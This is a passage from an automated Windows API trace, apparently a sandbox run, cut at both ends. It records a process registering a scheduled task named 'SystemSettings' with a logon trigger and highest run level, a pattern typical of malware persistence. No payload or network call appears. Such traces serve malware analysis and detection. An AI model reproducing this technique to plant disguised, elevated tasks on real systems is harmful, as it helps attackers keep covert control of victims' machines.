0x2236c53b9f0 [0134.254] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.254] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0134.254] lstrlenW (lpString="MONTHLY") returned 7 [0134.254] GetProcessHeap () returned 0x2236c530000 [0134.254] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53a950 [0134.254] GetThreadLocale () returned 0x409 [0134.254] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0134.254] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.254] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0134.254] lstrlenW (lpString="ONCE") returned 4 [0134.254] GetProcessHeap () returned 0x2236c530000 [0134.254] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xa) returned 0x2236c53a810 [0134.254] GetThreadLocale () returned 0x409 [0134.254] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0134.254] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.254] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0134.254] lstrlenW (lpString="ONSTART") returned 7 [0134.254] GetThreadLocale () returned 0x409 [0134.254] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0134.254] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.254] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0134.254] lstrlenW (lpString="ONLOGON") returned 7 [0134.255] GetThreadLocale () returned 0x409 [0134.255] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0134.255] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.255] GetProcessHeap () returned 0x2236c530000 [0134.255] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x1fc) returned 0x2236c53abd0 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.255] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.255] lstrlenW (lpString="First") returned 5 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.255] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.255] lstrlenW (lpString="Second") returned 6 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.255] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.255] lstrlenW (lpString="Third") returned 5 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.255] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.255] lstrlenW (lpString="Fourth") returned 6 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.255] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.255] lstrlenW (lpString="Last") returned 4 [0134.255] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.256] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0134.256] lstrlenW (lpString="First") returned 5 [0134.256] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.256] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0134.256] lstrlenW (lpString="Second") returned 6 [0134.256] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.256] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0134.256] lstrlenW (lpString="Third") returned 5 [0134.256] GetProcessHeap () returned 0x2236c530000 [0134.256] GetProcessHeap () returned 0x2236c530000 [0134.256] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a810) returned 1 [0134.256] GetProcessHeap () returned 0x2236c530000 [0134.256] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a810) returned 0xa [0134.256] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a810) returned 1 [0134.256] GetProcessHeap () returned 0x2236c530000 [0134.256] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xc) returned 0x2236c53aa50 [0134.256] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.256] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0134.256] lstrlenW (lpString="Fourth") returned 6 [0134.256] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.256] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0134.256] lstrlenW (lpString="Last") returned 4 [0134.256] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xf45eb2c680, cchData=128 | out: lpLCData="0") returned 2 [0134.257] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.257] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.257] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a930) returned 1 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a930) returned 0x10 [0134.257] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a930) returned 1 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x16) returned 0x2236c53aa70 [0134.257] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xf45eb2c6a0, cchData=128 | out: lpLCData="0") returned 2 [0134.257] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.257] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0134.257] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a970) returned 1 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a970) returned 0x10 [0134.257] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a970) returned 1 [0134.257] GetProcessHeap () returned 0x2236c530000 [0134.257] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x16) returned 0x2236c53ab30 [0134.257] GetLocalTime (in: lpSystemTime=0xf45eb2c8d8 | out: lpSystemTime=0xf45eb2c8d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x37, wMilliseconds=0x18f)) [0134.258] GetLocalTime (in: lpSystemTime=0xf45eb2d2c8 | out: lpSystemTime=0xf45eb2d2c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x37, wMilliseconds=0x18f)) [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] lstrlenW (lpString="") returned 0 [0134.258] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0134.270] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0134.342] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xf45eb2d020 | out: ppv=0xf45eb2d020*=0x2236c7c5700) returned 0x0 [0134.363] TaskScheduler:ITaskService:Connect (This=0x2236c7c5700, serverName=0xf45eb2d110*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xf45eb2d0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xf45eb2d0c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xf45eb2d0a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0134.413] TaskScheduler:ITaskService:GetFolder (in: This=0x2236c7c5700, Path=0x0, ppFolder=0xf45eb2d200 | out: ppFolder=0xf45eb2d200*=0x2236c7c5880) returned 0x0 [0134.415] TaskScheduler:ITaskService:NewTask (in: This=0x2236c7c5700, flags=0x0, ppDefinition=0xf45eb2d1d8 | out: ppDefinition=0xf45eb2d1d8*=0x2236c7c5900) returned 0x0 [0134.416] ITaskDefinition:get_Actions (in: This=0x2236c7c5900, ppActions=0xf45eb2d120 | out: ppActions=0xf45eb2d120*=0x2236c7c5990) returned 0x0 [0134.416] IActionCollection:Create (in: This=0x2236c7c5990, Type=0, ppAction=0xf45eb2d160 | out: ppAction=0xf45eb2d160*=0x2236c7c5da0) returned 0x0 [0134.417] IUnknown:Release (This=0x2236c7c5da0) returned 0x1 [0134.417] IUnknown:Release (This=0x2236c7c5990) returned 0x1 [0134.417] ITaskDefinition:get_Triggers (in: This=0x2236c7c5900, ppTriggers=0xf45eb2ccd0 | out: ppTriggers=0xf45eb2ccd0*=0x2236c7c5c50) returned 0x0 [0134.419] ITriggerCollection:Create (in: This=0x2236c7c5c50, Type=9, ppTrigger=0xf45eb2ccb8 | out: ppTrigger=0xf45eb2ccb8*=0x2236c7c5e10) returned 0x0 [0134.420] IUnknown:QueryInterface (in: This=0x2236c7c5e10, riid=0x7ff6b6f78a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0xf45eb2ccb0 | out: ppvObject=0xf45eb2ccb0*=0x2236c7c5e10) returned 0x0 [0134.420] IUnknown:Release (This=0x2236c7c5e10) returned 0x2 [0134.420] _vsnwprintf (in: _Buffer=0xf45eb2cc00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xf45eb2cbd8 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0134.420] ITrigger:put_StartBoundary (This=0x2236c7c5e10, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0134.420] lstrlenW (lpString="") returned 0 [0134.420] lstrlenW (lpString="") returned 0 [0134.420] lstrlenW (lpString="") returned 0 [0134.420] lstrlenW (lpString="") returned 0 [0134.420] IUnknown:Release (This=0x2236c7c5e10) returned 0x1 [0134.420] IUnknown:Release (This=0x2236c7c5c50) returned 0x1 [0134.420] ITaskDefinition:get_Settings (in: This=0x2236c7c5900, ppSettings=0xf45eb2d160 | out: ppSettings=0xf45eb2d160*=0x2236c7c5ad0) returned 0x0 [0134.421] lstrlenW (lpString="") returned 0 [0134.421] IUnknown:Release (This=0x2236c7c5ad0) returned 0x3 [0134.421] GetLocalTime (in: lpSystemTime=0xf45eb2d018 | out: lpSystemTime=0xf45eb2d018*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x37, wMilliseconds=0x23b)) [0134.421] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0134.421] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xf45eb2d030, nSize=0xf45eb2d008 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xf45eb2d008) returned 0x1 [0134.421] ITaskDefinition:get_RegistrationInfo (in: This=0x2236c7c5900, ppRegistrationInfo=0xf45eb2d000 | out: ppRegistrationInfo=0xf45eb2d000*=0x2236c7c5a10) returned 0x0 [0134.422] IRegistrationInfo:put_Author (This=0x2236c7c5a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0134.422] _vsnwprintf (in: _Buffer=0xf45eb2d030, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xf45eb2cfc8 | out: _Buffer="2023-09-19T17:14:56") returned 19 [0134.422] IRegistrationInfo:put_Date (This=0x2236c7c5a10, Date="2023-09-19T17:14:56") returned 0x0 [0134.422] IUnknown:Release (This=0x2236c7c5a10) returned 0x1 [0134.422] malloc (_Size=0x18) returned 0x2236c7c5f30 [0134.422] free (_Block=0x2236c7c5f30) [0134.422] lstrlenW (lpString="") returned 0 [0134.422] ITaskDefinition:get_Principal (in: This=0x2236c7c5900, ppPrincipal=0xf45eb2d1c8 | out: ppPrincipal=0xf45eb2d1c8*=0x2236c7c5cc0) returned 0x0 [0134.423] IPrincipal:put_RunLevel (This=0x2236c7c5cc0, RunLevel=1) returned 0x0 [0134.423] IUnknown:Release (This=0x2236c7c5cc0) returned 0x1 [0134.423] malloc (_Size=0x18) returned 0x2236c7c5f30 [0134.423] ITaskFolder:RegisterTaskDefinition (in: This=0x2236c7c5880, Path="SystemSettings", pDefinition=0x2236c7c5900, flags=6, UserId=0xf45eb2d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xf45eb2d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xf45eb2d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xf45eb2d230 | out: ppTask=0xf45eb2d230*=0x2236c7c6fd0) returned 0x0 [0134.570] free (_Block=0x2236c7c5f30) [0134.570] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.570] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0134.570] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0134.570] GetProcessHeap () returned 0x2236c530000 [0134.570] GetProcessHeap () returned 0x2236c530000 [0134.570] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a830) returned 1 [0134.570] GetProcessHeap () returned 0x2236c530000 [0134.570] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a830) returned 0xe [0134.570] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a830) returned 1 [0134.570] GetProcessHeap () returned 0x2236c530000 [0134.570] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x82) returned 0x2236c54f8a0 [0134.570] _vsnwprintf (in: _Buffer=0xf45eb2d8e0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xf45eb2d178 | out: _Buffer="SUCCESS: The scheduled task \"SystemSettings\" has successfully been created.\n") returned 76 [0134.570] __iob_func () returned 0x7ffb1de6e210 [0134.571] _fileno (_File=0x7ffb1de6e240) returned -2 [0134.571] _errno () returned 0x2236c7c0840 [0134.571] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0134.571] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.571] lstrlenW (lpString="SUCCESS: The scheduled task \"SystemSettings\" has successfully been created.\n") returned 76 [0134.571] GetConsoleOutputCP () returned 0x0 [0134.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettings\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0134.571] GetConsoleOutputCP () returned 0x0 [0134.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"SystemSettings\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"SystemSettings\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0134.571] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 76 [0134.571] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0134.572] IUnknown:Release (This=0x2236c7c6fd0) returned 0x0 [0134.572] TaskScheduler:IUnknown:Release (This=0x2236c7c5900) returned 0x0 [0134.572] TaskScheduler:IUnknown:Release (This=0x2236c7c5880) returned 0x0 [0134.572] TaskScheduler:IUnknown:Release (This=0x2236c7c5700) returned 0x0 [0134.573] lstrlenW (lpString="") returned 0 [0134.573] GetProcessHeap () returned 0x2236c530000 [0134.573] GetProcessHeap () returned 0x2236c530000 [0134.573] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53abd0) returned 1 [0134.573] GetProcessHeap () returned 0x2236c530000 [0134.573] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53abd0) returned 0x1fc [0134.573] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53abd0) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a8f0) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a8f0) returned 0x16 [0134.576] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a8f0) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53ab90) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53ab90) returned 0x18 [0134.576] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53ab90) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b750) returned 1 [0134.576] GetProcessHeap () returned 0x2236c530000 [0134.576] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b750) returned 0x20 [0134.577] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b750) returned 1 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534270) returned 1 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534270) returned 0xa0 [0134.577] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534270) returned 1 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c532120) returned 1 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.577] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c532120) returned 0x18 [0134.577] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c532120) returned 1 [0134.577] GetProcessHeap () returned 0x2236c530000 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b990) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b990) returned 0x20 [0134.578] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b990) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533bf0) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533bf0) returned 0x56 [0134.578] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533bf0) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a910) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a910) returned 0x18 [0134.578] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a910) returned 1 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.578] GetProcessHeap () returned 0x2236c530000 [0134.579] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b4e0) returned 1 [0134.579] GetProcessHeap () returned 0x2236c530000 [0134.579] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b4e0) returned 0x20 [0134.579] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b4e0) returned 1 [0134.579] GetProcessHeap () returned 0x2236c530000 [0134.579] GetProcessHeap () returned 0x2236c530000 [0134.579] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533b90) returned 1 [0134.579] GetProcessHeap () returned 0x2236c530000 [0134.579] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533b90) returned 0x58 [0134.580] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533b90) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aa10) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53aa10) returned 0x18 [0134.580] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53aa10) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538a80) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538a80) returned 0x20 [0134.580] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538a80) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53aa30) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53aa30) returned 0xe [0134.580] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53aa30) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.580] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a8d0) returned 1 [0134.580] GetProcessHeap () returned 0x2236c530000 [0134.581] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a8d0) returned 0x18 [0134.581] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a8d0) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538a20) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c538a20) returned 0x20 [0134.581] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c538a20) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c5396c0) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c5396c0) returned 0x208 [0134.581] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c5396c0) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534830) returned 1 [0134.581] GetProcessHeap () returned 0x2236c530000 [0134.581] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534830) returned 0x18 [0134.582] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534830) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c538cc0) returned 1 [0134.582] GetProcessHeap () returned 0x2236c530000 [0134.582] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, 